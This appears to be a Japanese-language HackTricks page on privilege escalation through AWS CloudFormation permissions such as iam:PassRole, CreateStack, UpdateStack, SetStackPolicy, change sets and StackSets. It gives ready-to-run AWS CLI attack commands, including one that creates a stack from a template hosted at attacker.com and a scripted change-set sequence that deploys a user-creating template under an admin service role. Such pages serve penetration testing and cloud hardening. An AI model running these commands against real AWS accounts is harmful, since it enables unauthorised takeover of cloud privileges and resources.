AWS - Cloudformation Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

cloudformation

cloudformationに関する詳細情報はこちらを参照してください:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

これらの権限を持つ攻撃者は、指定されたロールの権限でアクションを実行するために、カスタムテンプレートを使用して、自分のサーバーにホストされたCloudFormationスタックを作成することで、権限を昇格させることができます。

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

以下では、追加の権限 cloudformation:DescribeStacks を使用した 悪用例 が示されています:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在的な影響: 指定されたcloudformationサービスロールへの特権昇格。

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

この場合、既存のcloudformationスタックを悪用して更新し、前述のシナリオと同様に特権を昇格させることができます。

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy権限を使用して、スタック上で**UpdateStack権限を自分に与え**、攻撃を実行できます。

潜在的な影響: 指定されたcloudformationサービスロールへの権限昇格。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

この権限を持っているが**iam:PassRoleがない**場合でも、使用されているスタックを更新し、すでにアタッチされているIAMロールを悪用することができます。エクスプロイトの例については前のセクションを確認してください(更新時にロールを指定しないでください)。

cloudformation:SetStackPolicy権限を使用して、スタック上で**UpdateStack権限を自分に与え**、攻撃を実行できます。

潜在的な影響: すでにアタッチされているcloudformationサービスロールへの権限昇格。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

ロールを渡し、ChangeSetを作成・実行する権限を持つ攻撃者は、CreateStackやUpdateStackと同様に、新しいcloudformationスタックを作成/更新し、cloudformationサービスロールを悪用することができます。

次のエクスプロイトは、スタックを作成するためにChangeSet権限を使用したCreateStackのバリエーションです。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、スタックに対する ChangeSet 権限を自分自身に与え、攻撃を実行することができます。

潜在的な影響: cloudformation サービスロールへの特権昇格。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

これは前述の方法と同様ですが、IAM ロールを渡さずに、すでにアタッチされているものを悪用することができます。単にパラメータを変更します。

--change-set-type UPDATE

潜在的影響: クラウドフォーメーションサービスロールへの権限昇格。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻撃者はこれらの権限を悪用して、任意のクラウドフォーメーションロールを悪用するためにStackSetsを作成/更新する可能性があります。

潜在的影響: クラウドフォーメーションサービスロールへの権限昇格。

cloudformation:UpdateStackSet

攻撃者は、この権限を悪用して、passRole権限なしで、アタッチされたクラウドフォーメーションロールを悪用するためにStackSetsを更新する可能性があります。

潜在的影響: アタッチされたクラウドフォーメーションロールへの権限昇格。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

最終更新